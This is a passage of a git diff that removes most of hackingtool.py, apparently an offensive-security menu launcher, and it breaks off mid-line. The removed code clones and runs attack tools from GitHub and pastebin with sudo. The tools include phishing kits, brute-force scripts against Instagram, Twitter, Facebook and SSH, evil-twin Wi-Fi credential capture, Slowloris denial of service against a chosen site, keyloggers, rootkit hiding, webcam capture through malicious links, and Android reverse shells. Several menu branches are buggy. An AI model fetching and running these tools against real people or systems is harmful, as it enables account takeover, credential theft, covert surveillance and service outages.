diff --git a/hackingtool.py b/hackingtool.py index a8bce66..0fbb9a1 100644 --- a/hackingtool.py +++ b/hackingtool.py @@ -1,1570 +1,4 @@ -##!/usr/bin/env python3 -# -*- coding: UTF-8 -*- -import os -import sys -import argparse -import threading -import webbrowser -import requests -# import urllib -import time -import http.client -import urllib.request -import sys -import json -import telnetlib -import glob -# import urllib2 -import socket import base64 -from getpass import getpass -# from command import * -import subprocess -from sys import argv -import random -import queue -import subprocess -import re -import getpass -from os import path -from platform import system -from urllib.parse import urlparse -from xml.dom import minidom -from optparse import OptionParser -from time import sleep -from platform import system -Logo="""\033[33m - ▄█ █▄ ▄████████ ▄████████ ▄█ ▄█▄ ▄█ ███▄▄▄▄ ▄██████▄ ███ ▄██████▄ ▄██████▄ ▄█ - ███ ███ ███ ███ ███ ███ ███ ▄███▀ ███ ███▀▀▀██▄ ███ ███ ▀█████████▄ ███ ███ ███ ███ ███ - ███ ███ ███ ███ ███ █▀ ███▐██▀ ███▌ ███ ███ ███ █▀ ▀███▀▀██ ███ ███ ███ ███ ███ - ▄███▄▄▄▄███▄▄ ███ ███ ███ ▄█████▀ ███▌ ███ ███ ▄███ ███ ▀ ███ ███ ███ ███ ███ -▀▀███▀▀▀▀███▀ ▀███████████ ███ ▀▀█████▄ ███▌ ███ ███ ▀▀███ ████▄ ███ ███ ███ ███ ███ ███ - ███ ███ ███ ███ ███ █▄ ███▐██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ - ███ ███ ███ ███ ███ ███ ███ ▀███▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███▌ ▄ - ███ █▀ ███ █▀ ████████▀ ███ ▀█▀ █▀ ▀█ █▀ ████████▀ ▄████▀ ▀██████▀ ▀██████▀ █████▄▄██ - ▀ ▀ - - \033[97m[!] https://github.com/Z4nzu -\033[97m """ -def menu(): - print(Logo + """\033[0m - \033[91m[!] This Tool Must Run as a Root..[!] \033[97m - [00]AnonSurf - [01]Information Gathering - [02]Password Attack && Wordlist Generator - [03]Wireless Attack - [04]SQL Injection Tools - [05]Phishing Attack - [06]Web Attack Tool - [07]Post exploitation - [08]Forensic Tools - [09]Payload Creator - [10]Router Exploit - [11]Wifi Jamming - [12]SocialMedia Attack - [13]SocialMedia Finder - [14]Android Hack - [15]Steganography - [16]Other Tools - [17]Update System - [99]Exit - """) - - choice = input("Z4nzu =>> ") - if choice == "0" or choice == "00": - clearScr() - print(Logo) - anonsurf() - elif choice == "1" or choice == "01": - clearScr() - print(Logo) - info() - elif choice == "2" or choice == "02": - clearScr() - print(Logo) - passwd() - elif choice == "3" or choice == "03": - clearScr() - print(Logo) - wire() - elif choice == "4" or choice == "04": - clearScr() - print(Logo) - sqltool() - elif choice == "5" or choice == "05": - clearScr() - print(Logo) - phishattack() - elif choice == "6" or choice == "06": - clearScr() - print(Logo) - webAttack() - elif choice == "7" or choice == "07": - clearScr() - print(Logo) - postexp() - elif choice == "8" or choice == "08" : - clearScr() - print(Logo) - forensic() - elif choice == "9" or choice == "09" : - clearScr() - print(Logo) - payloads() - elif choice == "10": - clearScr() - print(Logo) - routexp() - elif choice == "11" : - clearScr() - print(Logo) - wifijamming() - elif choice == "12" : - clearScr() - print(Logo) - socialattack() - elif choice == "13" : - clearScr() - print(Logo) - socialfinder() - elif choice == "14": - clearScr() - print(Logo) - androidhack() - elif choice == "15": - clearScr() - print(Logo) - steganography() - elif choice == "16": - clearScr() - print(Logo) - others() - elif choice == "17": - clearScr() - print(Logo) - updatesys() - elif choice == "99" : - clearScr(), sys.exit() - exit() - elif choice == "": - menu() - else: - print("Wrong Input...!!") - time.sleep(3) - menu() - -def anonsurf(): - print(""" - [1] Anonmously Surf - [2] Multitor - [99] Back - """) - choice = input("Z4nzu =>>") - if choice == "1": - clearScr() - ansurf() - elif choice == "2": - clearScr() - multitor() - elif choice == "99": - menu() - else : - menu() - -def ansurf(): - os.system("echo \"It automatically overwrites the RAM when\nthe system is shutting down AnD AlSo cHange Ip\" |boxes -d boy") - anc=input("[1]install [2]Run [3]Stop [99]Main Menu >> ") - if anc == "1": - os.system("sudo git clone https://github.com/Und3rf10w/kali-anonsurf.git") - os.system("cd kali-anonsurf && sudo ./installer.sh && cd .. && sudo rm -r kali-anonsurf") - print("Successfully Installed ...!!") - elif anc=="2": - os.system("sudo anonsurf start") - elif anc == "3": - os.system("sudo anonsurf stop") - elif anc == "99": - anonsurf() - else : - menu() - -def multitor(): - os.system("echo \"How to stay in multi places at the same time \" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/multitor.git") - elif userchoice == "2": - os.system("cd multitor && bash multitor.sh") - elif userchoice == "99": - anonsurf() - else : - menu() - -def info(): - print(""" - [1] Nmap - [2] Dracnmap - [3] Port Scanning - [4] Host To IP - [5] Xerosploit - [6] Advanced XSS Detection Suite - [7] ReconSpider(For All Scaning) - [8] IsItDown (Check Website Down/Up) - [99] Back To Main Menu - """) - choice2 = input("Z4nzu =>> ") - if choice2 == "1": - nmap() - if choice2 == "2": - clearScr() - Dracnmap() - if choice2 == "3": - clearScr() - ports() - if choice2 == "4": - clearScr() - h2ip() - if choice2 == "5": - clearScr() - xerosploit() - if choice2 == "6": - clearScr() - XSStrike() - elif choice2 == "7": - clearScr() - reconspider() - elif choice2 == "8": - clearScr() - isitdown() - elif choice2 == "99": - clearScr() - menu() - elif choice2 == "": - menu() - else: - menu() - -def nmap(): - nmapchoice = input("[1]Install [2]Run [99]BAck >> ") - if nmapchoice == "1" : - time.sleep(1) - print("Start Downloading....!!") - os.system("sudo git clone https://github.com/nmap/nmap.git") - os.system("sudo chmod -R 755 nmap && cd nmap && sudo ./configure && make && sudo make install") - elif nmapchoice == "2": - os.system("sudo nmap") - elif nmapchoice == "99": - info() - else: - menu() - -def Dracnmap(): - os.system("echo \"Dracnmap is an open source program which is using to \nexploit the network and gathering information with nmap help\" | boxes -d boy ") - dracnap = input("[1]Install [2]Run [99]Back >> ") - if dracnap == "1": - os.system("sudo git clone https://github.com/Screetsec/Dracnmap.git && cd Dracnmap && chmod +x Dracnmap.sh") - elif dracnap == "2": - os.system("cd Dracnmap && sudo ./Dracnmap.sh") - elif dracnap == "99": - info() - else : - menu() - -def h2ip(): - host = input("Enter host name(www.google.com) :- ") - ips = socket.gethostbyname(host) - print(ips) - -def ports(): - clearScr() - target = input('Select a Target IP : ') - os.system("sudo nmap -O -Pn %s" % target) - sys.exit() - -def XSStrike(): - os.system("echo \"XSStrike is a python script designed to detect and exploit XSS vulnerabilites. \"| boxes -d boy") - xc=input("[1]Install [2]Run [99]BAck >>") - if xc == "1": - os.system("sudo rm -rf XSStrike") - os.system("git clone https://github.com/UltimateHackers/XSStrike.git && cd XSStrike && pip install -r requirements.txt") - elif xc == "2" : - clearScr() - os.system("cd XSStrike && python xsstrike") - elif xc == "99": - info() - else : - info() - -def xerosploit(): - os.system("echo \"Xerosploit is a penetration testing toolkit whose goal is to perform \n man-in-th-middle attacks for testing purposes\"|boxes -d boy") - xeros=input("[1]Install [2]Run [99]Back >>") - if xeros == "1": - os.system("git clone https://github.com/LionSec/xerosploit") - os.system("cd xerosploit && sudo python install.py") - elif xeros == "2": - os.system("sudo xerosploit") - elif xeros == "99": - info() - else : - menu() - -def reconspider(): - os.system("echo \" ReconSpider is most Advanced Open Source Intelligence (OSINT) Framework for scanning IP Address, Emails, \nWebsites, Organizations and find out information from different sources.\" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/bhavsec/reconspider.git") - os.system("sudo apt install python3 python3-pip && cd reconspider && sudo python3 setup.py install") - elif userchoice == "2": - os.system("cd reconspider && python3 reconspider.py") - elif userchoice == "99": - info() - else : - menu() - -def setoolkit(): - os.system("echo \"The Social-Engineer Toolkit is an open-source penetration\ntesting framework designed for social engineering\"| boxes -d boy") - choiceset = input("[1]Install [2]Run [99]BAck >>") - if choiceset == 1: - os.system("git clone https://github.com/trustedsec/social-engineer-toolkit.git") - os.system("python social-engineer-toolkit/setup.py") - menu() - if choiceset == 2: - clearScr() - os.system("sudo setoolkit") - elif choiceset == 99: - phishattack() - else: - menu() - -def passwd(): - print(""" - [01]Cupp - [02]WordlistCreator - [03]Goblin WordGenerator - [04]Credential reuse attacks - [99]Back To Main Menu - """) - passchoice = input("Z4nzu ==>> ") - if passchoice == "1" or passchoice == "01": - clearScr() - cupp() - elif passchoice == "2" or passchoice == "02": - clearScr() - wlcreator() - elif passchoice == "3" or passchoice == "03": - clearScr() - goblinword() - elif passchoice == "4" or passchoice == "04": - clearScr() - credentialattack() - elif passchoice == "99": - clearScr() - menu() - elif passchoice == "": - menu() - else: - menu() - -def cupp(): - os.system("echo \"Common User Password Generator..!!\"| boxes -d boy") - cc=input("[1]Install [2]Run [99]Back >> ") - if cc == "1": - os.system("git clone https://github.com/Mebus/cupp.git") - print("Download Successfully..!!!") - elif cc == "2": - os.system("cd cupp && ./cupp.py -h") - elif cc == "99" : - passwd() - else : - main() - -def wlcreator(): - os.system("echo \" WlCreator is a C program that can create all possibilities of passwords,\n and you can choose Lenght, Lowercase, Capital, Numbers and Special Chars\" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/wlcreator") - elif userchoice == "2": - os.system("cd wlcreator && gcc -o wlcreator wlcreator.c && ./wlcreator 5") - elif userchoice == "99": - passwd() - else : - menu() - -def goblinword(): - os.system("echo \" GoblinWordGenerator \" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/UndeadSec/GoblinWordGenerator.git") - elif userchoice == "2": - os.system("cd GoblinWordGenerator && python3 goblin.py") - elif userchoice == "99": - passwd() - else : - menu() - -def credentialattack(): - os.system("echo \"[!]Check if the targeted email is in any leaks and then use the leaked password to check it against the websites.\n[!]Check if the target credentials you found is reused on other websites/services.\n[!]Checking if the old password you got from the target/leaks is still used in any website.\n[#]This Tool Available in MAC & Windows Os \n\t[!] https://github.com/D4Vinci/Cr3dOv3r\" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >> ") - if userchoice == "1": - os.system("sudo git clone https://github.com/D4Vinci/Cr3dOv3r.git") - os.system("cd Cr3dOv3r && python3 -m pip install -r requirements.txt") - elif userchoice == "2" : - os.system("cd Cr3dOv3r && python3 Cr3d0v3r.py -h") - elif userchoice == "99": - passwd() - else : - menu() - -def wire(): - print(""" - [1] WiFi-Pumpkin - [2] pixiewps - [3] Bluetooth Honeypot GUI Framework - [4] Fluxion - [5] Wifiphisher - [6] Wifite - [7] EvilTwin - [99]Back To The Main Menu """) - choice4 = input("Z4nzu ==>> ") - if choice4 == 1: - clearScr() - wifipumkin() - if choice4 == 2: - clearScr() - pixiewps() - if choice4 == 3: - clearScr() - bluepot() - if choice4 == 4: - clearScr() - fluxion() - if choice4 == 5: - clearScr() - wifiphisher() - elif choice4 == 6: - clearScr() - wifite() - elif choice4 == 7: - clearScr() - eviltwin() - elif choice4 == 99: - menu() - elif choice4 == "": - menu() - else: - menu() - -def wifipumkin(): - os.system("echo \"The WiFi-Pumpkin is a rogue AP framework to easily create these fake networks\nall while forwarding legitimate traffic to and from the unsuspecting target.\"| boxes -d boy") - wp=input("[1]Install [2]Run [99]Back >>") - if wp == 1: - os.system("sudo git clone https://github.com/P0cL4bs/WiFi-Pumpkin.git") - os.system("chmod -R 755 WiFi-Pumpkin && cd WiFi-Pumpkin") - os.system("sudo pip install -r requirements.txt &&sudo ./installer.sh --install") - elif wp == 2: - clearScr() - os.system("cd WiFi=Pumpkin && python wifi-pumpkin.py") - elif wp == 99: - wire() - else : - menu() - -def pixiewps(): - os.system("echo \"Pixiewps is a tool written in C used to bruteforce offline the WPS pin\n exploiting the low or non-existing entropy of some Access Points, the so-called pixie dust attack\"| boxes -d boy") - choicewps = input("[1]Install [2]Run [99]Back >> ") - if choicewps == 1: - os.system("sudo git clone https://github.com/wiire/pixiewps.git && apt-get -y install build-essential") - os.system("cd pixiewps & make ") - os.system("sudo make install") - os.system("wget https://pastebin.com/y9Dk1Wjh") - if choicewps == 2: - os.system("echo \"1.>Put your interface into monitor mode using 'airmon-ng start {wireless interface}\n2.>wash -i {monitor-interface like mon0}'\n3.>reaver -i {monitor interface} -b {BSSID of router} -c {router channel} -vvv -K 1 -f\"| boxes -d boy") - elif choicewps == 99: - wire() - else: - menu() - -def bluepot(): - os.system("echo \"you need to have at least 1 bluetooh receiver (if you have many it will work wiht those, too).\nYou must install/libbluetooth-dev on Ubuntu/bluez-libs-devel on Fedora/bluez-devel on openSUSE\"|boxes -d boy ") - choice = input("[1]Install [2]Run [99]Back >> ") - if choice == "1": - os.system("wget https://github.com/andrewmichaelsmith/bluepot/raw/master/bin/bluepot-0.1.tar.gz && tar xfz bluepot-0.1.tar.gz && sudo java -jar bluepot/BluePot-0.1.jar") - elif choice == "2": - os.system("cd bluepot-0.1 && sudo java -jar bluepot/BluePot-0.1.jar") - elif choice == "99": - wire() - else: - menu() - -def fluxion(): - os.system("echo \"fluxion is a wifi key cracker using evil twin attack..\nyou need a wireless adaptor for this tool\"| boxes -d boy") - choice = input("[1]Install [2]Run [99]Back >>") - if choice == "1": - os.system("git clone https://github.com/thehackingsage/Fluxion.git") - os.system("cd Fluxion && cd install && sudo chmod +x install.sh && sudo ./install.sh") - os.system("cd .. && sudo chmod +x fluxion.sh") - elif choice == "2": - os.system("cd Fluxion && sudo ./fluxion.sh") - elif choice == "99" : - wire() - else: - menu() - -def wifiphisher(): - print(""" - Wifiphisher is a rogue Access Point framework for conducting red team engagements or Wi-Fi security testing. - Using Wifiphisher, penetration testers can easily achieve a man-in-the-middle position against wireless clients by performing - targeted Wi-Fi association attacks. Wifiphisher can be further used to mount victim-customized web phishing attacks against the - connected clients in order to capture credentials (e.g. from third party login pages or WPA/WPA2 Pre-Shared Keys) or infect the - victim stations with malware.. - """) - wchoice=input("[1]Install [2]Run [99]Back >> ") - if wchoice == 1: - os.system("git clone https://github.com/wifiphisher/wifiphisher.git") - os.system("cd wifiphisher && sudo python3 setup.py install") - if wchoice == 2: - os.system("cd wifiphisher && sudo wifiphiser") - elif wchoice == 99 : - wire() - else : - menu() - -def wifite(): - print(Logo) - wc=input("[1]Install [2]Run [99]BAck >> ") - if wc == 1: - os.system("sudo git clone https://github.com/kimocoder/wifite2.git") - os.system("cd wifite2 && sudo python3 setup.py install") - elif wc ==2: - os.system("cd wifite2 && sudo wifite") - elif wc == 99: - wire() - else : - menu() - -def eviltwin(): - os.system("echo \"Fakeap is a script to perform Evil Twin Attack, by getting credentials using a Fake page and Fake Access Point \" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/fakeap ") - elif userchoice == "2": - os.system("cd fakeap && bash fakeap.sh") - elif userchoice == "99": - wire() - else : - menu() - -def socialattack(): - print(""" - [1] Instagram Attack - [2] Tweeter Attack - [3] Facebook Attack - [4] Application Checker - [99]Back To Menu - """) - choice=input("Z4nzu >> ") - if choice == "1": - clearScr() - instashell() - elif choice == "2": - clearScr() - tweetshell() - elif choice == "3": - clearScr() - faceshell() - elif choice == "4" : - clearScr() - appcheck() - elif choice == "99" : - menu() - else : - menu() - -def instashell(): - os.system("echo \"Instashell is an Shell Script to perform multi-threaded brute force attack against Instagram \"| boxes -d boy") - instachoice=input("[1]install [2]Run [99]Back >> ") - if instachoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/instashell && chmod +x install.sh && sudo ./install.sh") - elif instachoice == "2": - os.system("cd instashell && chmod +x instashell.sh && service tor start && sudo ./instashell.sh") - elif instachoice == "99": - socialattack() - else : - menu() - -def tweetshell(): - os.system("echo \"Tweetshell is an Shell Script to perform multi-threaded brute force attack against Twitter\"|boxes -d boy") - choice = input ("[1]Install [2]Run [99]BAck >> ") - if choice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/tweetshell && chmod -R 775 tweetshell") - os.system("cd tweetshell && sudo ./install.sh") - elif choice == "2": - os.system("cd tweetshell && service tor start && sudo ./tweetshell.sh") - elif choice == "99": - socialattack() - else : - menu() - -def faceshell(): - os.system("echo \"Facebash is an Shell Script to perform brute force attack against FAcebook\n [!]Facebook blocks account for 1 hour after 20 wrong passwords, so this script can perform only 20 pass/h \"|boxes -d boy") - choice = input ("[1]Install [2]Run [99]Back >> ") - if choice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/facebash && chmod -R 775 facebash") - os.system("cd facebash && sudo ./install.sh") - elif choice == "2": - os.system("cd facebash && service tor start && sudo ./facebash.sh") - elif choice == "99": - socialattack() - else : - menu() - -def appcheck(): - os.system("echo \"Tool to check if an app is installed on the target device through a link.\"|boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >> ") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/underhanded") - elif userchoice == "2": - os.system("cd underhanded &&chmod +x underhanded.sh && bash underhanded.sh") - elif userchoice == "99": - socialattack() - else : - menu() - -def phishattack(): - print(""" - [1] Setoolkit - [2] SocialFish - [3] Shellphish - [4] BlackEye - [5] I-See_You(Get Location using phishing attack) - [6] SayCheese (Grab target's Webcam Shots) - [7] QR Code Jacking - [99]Back To Main Menu - """) - choice = input("Z4nzu ==>> ") - if choice == "1": - clearScr() - setoolkit() - if choice == "2": - clearScr() - socialfish() - if choice == "3": - clearScr() - shellphish() - if choice == "4": - clearScr() - blackeye() - elif choice == "5": - clearScr() - iseeyou() - elif choice == "6": - clearScr() - saycheese() - elif choice == "7": - clearScr() - qrjacking() - if choice == "99": - clearScr() - menu() - elif choice == "": - menu() - else: - menu() - -def socialfish(): - choice=input("[1]install [2]Run [99]BAck >> ") - if choice == "1": - os.system("sudo git clone https://github.com/UndeadSec/SocialFish.git && sudo apt-get install python3 python3-pip python3-dev -y") - os.system("cd SocialFish && sudo python3 -m pip install -r requirements.txt") - elif choice =="2": - os.system("cd SocialFish && python3 SocialFish.py root pass") - elif choice =="99": - phishattack() - else : - menu() - -def shellphish(): - choice=input("[1]install [2]Run [99]BAck >> ") - if choice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/shellphish") - print("Downloaded Successfully...!! ") - elif choice =="2": - os.system("cd shellphish && sudo bash shellphish.sh") - elif choice =="99": - phishattack() - else : - menu() - -def blackeye(): - choice=input("[1]install [2]Run [99]BAck >> ") - if choice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/blackeye") - print("Downloaded Successfully...!! ") - elif choice =="2": - os.system("cd blackeye && sudo bash blackeye.sh") - elif choice =="99": - phishattack() - else : - menu() - -def iseeyou(): - os.system("echo \"[!] ISeeYou is a tool to find Exact Location of Victom By User SocialEngineering or Phishing Engagment..\n[!]Users can expose their local servers to the Internet and decode the location coordinates by looking at the log file\"|boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >> ") - if userchoice == "1": - os.system("sudo git clone https://github.com/Viralmaniar/I-See-You.git") - os.system("cd I-See-You && chmod u+x ISeeYou.sh") - menu() - elif userchoice == "2": - os.system("cd I-See_You && sudo ./ISeeYou.sh") - elif userchoice == "99": - phishattack() - else : - menu() - -def saycheese(): - os.system("echo \"Take webcam shots from target just sending a malicious link\"|boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >> ") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/saycheese") - print("Downloaded Successfully ..!!!") - elif userchoice == "2": - os.system("cd saycheese && bash saycheese.sh") - elif userchoice == "99": - phishattack() - else : - menu() - -def qrjacking(): - os.system("echo \"QR Code Jacking (Any Website) \" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/ohmyqr") - elif userchoice == "2": - os.system("cd ohmyqr && bash ohmyqr.sh") - elif userchoice == "99": - phishattack() - else : - menu() - -def socialfinder(): - print(""" - [1]Find SocialMedia By Facial Recognation System - [2]Find SocialMedia By UserName - [99]Back To Main Menu - """) - choice =input("Z4nzu =>>") - if sfc == "1": - clearScr() - facialfind() - elif sfc == "2": - clearScr() - userrecon() - elif sfc == "99": - menu() - else : - menu() - -def facialfind(): - print(Logo) - choice=input("[1]Install [2]Run [99]Back >>") - if choice == "1": - print("Firefox is Required So updating.....") - os.system("sudo add-apt-repository ppa:mozillateam/firefox-next && sudo apt update && sudo apt upgrade") - os.system("echo \"[!]Now You have To do some Manually\n[!]Install the Geckodriver for your operating system\n[!]Copy & Paste Link And Download File As System Configuration\n[#]https://github.com/mozilla/geckodriver/releases\n[!!]On Linux you can place it in /usr/bin \"| boxes -d boy") - time.sleep(5) - os.system("sudo git clone https://github.com/Greenwolf/social_mapper") - os.system("cd social_mapper/setup") - os.system("python3 -m pip install --no-cache-dir -r requirements.txt") - print("Successfully Installed...!!!") - menu() - elif choice == "2": - os.system("cd social_mapper/setup") - os.system("python social_mapper.py -h") - print("""\033[95m - You have to set Username and password of your AC Or Any Fack Account - {0}Type in Terminal nano social_mapper.py - \n ]""") - os.system("echo \"python social_mapper.py -f [] -i [] -m fast [] -fb -tw\"| boxes -d headline ") - elif choice == "99" : - socialfinder() - else : - menu() - -def userrecon(): - print(Logo) - userchoice = input("[1]Install [2]Run [99]Back >> ") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/userrecon.git") - elif userchoice == "2": - os.system("cd userrecon && chmod +x userrecon.sh && sudo ./userrecon.sh") - elif userchoice == "99": - socialfinder() - else : - menu() - -def forensic(): - print(""" - [1] Bulk_extractor - [2] Disk Clone and ISO Image Aquire - [3] AutoSpy - [99]Back to Menu - """) - choice = input("Z4nzu ==>>") - if choice == "1" : - clearScr() - bulkextractor() - elif choice == "2": - clearScr() - guymager() - elif choice == "3": - clearScr() - autopsy() - elif choice == "99": - main() - elif choice == "": - main() - else : - main() - -def bulkextractor(): - choice=input(""" - [1]GUI Mode(Download required) - [2]CLI Mode - """) - if choice == "1": - os.system("git clone https://github.com/simsong/bulk_extractor.git") - print(os.getcwd()) - os.system("ls src/ && cd .. && cd java_gui && ./BEViewer") - print("If you getting error after clone go to /java_gui/src/ And Compile .Jar file && run ./BEViewer") - elif choice =="2": - os.system("sudo apt-get install bulk_extractor") - print("bulk_extractor and options") - os.system("bulk_extractor") - os.system("echo \"bulk_extractor [options] imagefile\" | boxes -d headline ") - else : - main() - -def guymager(): - choice = input("[1]Install [2]Run [99]Back >> ") - if choice == "1": - os.system("apt install guymager") - elif choice == "2": - clearScr() - os.system("guymager") - elif choice == "99": - forensic() - else : - menu() - -def autopsy(): - os.system("echo \"Autopsy is a platform that is used by Cyber Investigators.\n[!] Works in any Os\n[!]Recover Deleted Files from any OS & MEdia \n[!]Extract Image Metadata \"|boxes -d boy ") - print(""" - [1]Linux Os - [2]Windows Os(Download Required) - [99]Back To Menu - """) - choice=input("Z4nzu >> ") - if choice == "1": - os.system("sudo autopsy") - if choice == "2": - wc=input(""" [1]64-Bit [2]32-Bit [99]Back >> """) - if wc == "1": - url = 'https://github.com/sleuthkit/autopsy/releases/download/autopsy-4.14.0/autopsy-4.14.0-64bit.msi' - import requests - r = requests.get(url) - with open("autppsy.zip", "wb") as code: - code.write(r.content) - urllib.urlretrieve(url, "autopsyzip") - print("Downloaded Successfully..!!") - elif wc == "2": - url = 'https://github.com/sleuthkit/autopsy/releases/download/autopsy-4.14.0/autopsy-4.14.0-32bit.msi' - import requests - r = requests.get(url) - with open("autospy.zip", "wb") as code: - code.write(r.content) - urllib.urlretrieve(url, "autopsy.zip") - print("Downloaded Successfully..!!") - elif wc == "99": - forensic() - elif choice =="99": - forensic() - else : - menu() - -def postexp(): - print(""" - [1] Vegile - Ghost In The Shell - [2] Chrome Keylogger - [99]Back - """) - expchoice = input("Z4nzu =>> ") - if expchoice == "1": - clearScr() - vegile() - if expchoice == "2": - clearScr() - chromekeylogger() - elif expchoice == "99": - menu() - elif expchoice == "": - menu() - else : - menu() - -def vegile(): - os.system("echo \"[!]This tool will set up your backdoor/rootkits when backdoor is already setup it will be \nhidden your specific process,unlimited your session in metasploit and transparent.\"|boxes -d boy") - vegilechoice = input("[1]Install [2]Run [99]Back >> ") - if vegilechoice == "1": - os.system("sudo git clone https://github.com/Screetsec/Vegile.git") - os.system("cd Vegile && chmod +x Vegile") - menu() - elif vegilechoice == "2": - os.system("echo \You can Use Command : \n[!]Vegile -i / --inject [backdoor/rootkit] \n[!]Vegile -u / --unlimited [backdoor/rootkit] \n[!]Vegile -h / --help\"|boxes -d parchment") - os.system("cd Vegila && sudo ./Vegila -h") - elif vegilechoice == "99": - postexp() - else : - menu() - -def chromekeylogger(): - os.system("echo \" Hera Chrome Keylogger \" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/UndeadSec/HeraKeylogger.git") - os.system("cd HeraKeylogger && sudo apt-get install python3-pip -y && sudo pip3 install -r requirements.txt ") - elif userchoice == "2": - os.system("cd HeraKeylogger && python3 hera.py ") - elif userchoice == "99": - postexp() - else : - menu() - -def routexp(): - print(""" - [1] RouterSploit - [2] Fastssh - [99]Back to menu - """) - choice=int(input("Z4nzu =>> ")) - if choice == "1": - clearScr() - routersploit() - elif choice=="99": - menu() - elif choice=="2": - clearScr() - fastssh() - else : - print("You Entered wrong Choice :") - routexp() - -def routersploit(): - os.system("echo \"The RouterSploit Framework is an open-source exploitation framework dedicated to embedded devices\"|boxes -d boy ") - choice=input("[1]Install [2]Run [99]Back :") - if choice == "1": - os.system("git clone https://www.github.com/threat9/routersploit") - os.system("cd routersploit && python3 -m pip install -r requirements.txt") - os.system("python3 rsf.py") - elif choice == "2": - os.system("cd routersploit && python3 rsf.py") - elif choice == "99": - routexp() - else : - menu() - -def fastssh(): - os.system("echo \"Fastssh is an Shell Script to perform multi-threaded scan \n and brute force attack against SSH protocol using the most commonly credentials. \" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/thelinuxchoice/fastssh && cd fastssh && chmod +x fastssh.sh") - os.system("apt-get install -y sshpass netcat") - elif userchoice == "2": - os.system("cd fastssh && ./fastssh.sh") - elif userchoice == "99": - routexp() - else : - menu() - -def webAttack(): - print(""" - [1] SlowLoris - [2] Skipfish - [3] SubDomain Finder - [4] CheckURL - [5] Blazy(Also Find ClickJacking) - [99]Back To Menu - """) - choice = input("Z4nzu >> ") - if choice == "1": - clearScr() - slowloris() - elif choice == "2": - clearScr() - skipfish() - elif choice == "3": - clearScr() - subdomain() - elif choice == "4": - clearScr() - checkurl() - elif choice == "5": - clearScr() - blazy() - elif choice == "99": - menu() - else : - menu() - -def slowloris(): - os.system("echo\"Slowloris is basically an HTTP Denial of Service attack.It send lots of HTTP Request\"|boxes -d boy ") - choice = input("[1]install [2]Run [99]Back >> ") - if choice == "1": - os.system("sudo pip install slowloris") - elif choice == "2": - print(Logo) - ts=input("Enter Target Site :-") - os.system("slowloris %s"%ts) - elif choice == "99": - webAttack() - else : - menu() - -def skipfish(): - userchoice = input("[1]Run [99]Back >> ") - if userchoice == "1": - os.system("sudo skipfish -h") - os.system("echo \"skipfish -o [FolderName] targetip/site\"|boxes -d headline") - elif userchoice == "99": - webAttack() - else : - menu() - -def subdomain(): - print(Logo) - choice=input("[1]install [2]Run [99]BAck >> ") - if choice == "1": - os.system("sudo pip install requests argparse dnspython") - os.system("sudo git clone https://github.com/aboul3la/Sublist3r.git ") - os.system("chmod -R 755 Sublist3r && cd Sublist3r && sudo pip install -r requirements.txt") - menu() - elif choice == "2": - print("Go to Sublist3r and run ./sublist3r") - os.system("echo \" python sublist3r.py -d example.com \npython sublist3r.py -d example.com -p 80,443\"| boxes -d boy") - os.system("cd Sublist3r && python sublist3r -h") - elif choice == "99" : - webAttack() - else : - main() - -def checkurl(): - os.system("echo \" Detect evil urls that uses IDN Homograph Attack.\n\t[!]python3 checkURL.py --url google.com \" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/UndeadSec/checkURL.git") - elif userchoice == "2": - os.system("cd checkURL && python3 checkURL.py --help") - elif userchoice == "99": - webAttack() - else : - menu() - -def blazy(): - os.system("echo \"Blazy is a modern login page bruteforcer \" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo git clone https://github.com/UltimateHackers/Blazy") - os.system("cd Blazy && sudo pip install -r requirements.txt") - elif userchoice == "2": - os.system("cd Blazy && python blazy.py") - elif userchoice == "99": - webAttack() - else : - menu() - -def androidhack(): - print(""" - [1] Keydroid - [2] MySMS - [3] Getdroid - [4] DroidFiles (Get files from Android Directories) - [5] Lockphish (Grab target LOCK PIN) - [6] Whatsapp Attack - [7] DroidCam (Capture Image) - [8] EvilApp (Hijack Session) - [99]Main Menu - """) - choice = input("Z4nzu =>>") - if choice == "1": - clearScr() - keydroid() - elif choice == "2": - clearScr() - mysms() - elif choice == "3": - clearScr() - getdroid() - elif choice == "5": - clearScr() - lock() - elif choice == "4": - clearScr() - droidfile() - elif choice == "6": - clearScr() - whatshack() - elif choice == "7": - clearScr() - droidcam() - elif choice == "8": - clearScr() - evilapp() - elif choice == "99": - menu() - else : - menu() - -def keydroid(): - os.system("echo \"Android Keylogger + Reverse Shell\n[!]You have to install Some Manually Refer Below Link :\n [+]https://github.com/thelinuxchoice/keydroid \" | boxes -d boy") - userchoice = input("[1]Install [2]Run [99]Back >>") - if userchoice == "1": - os.system("sudo 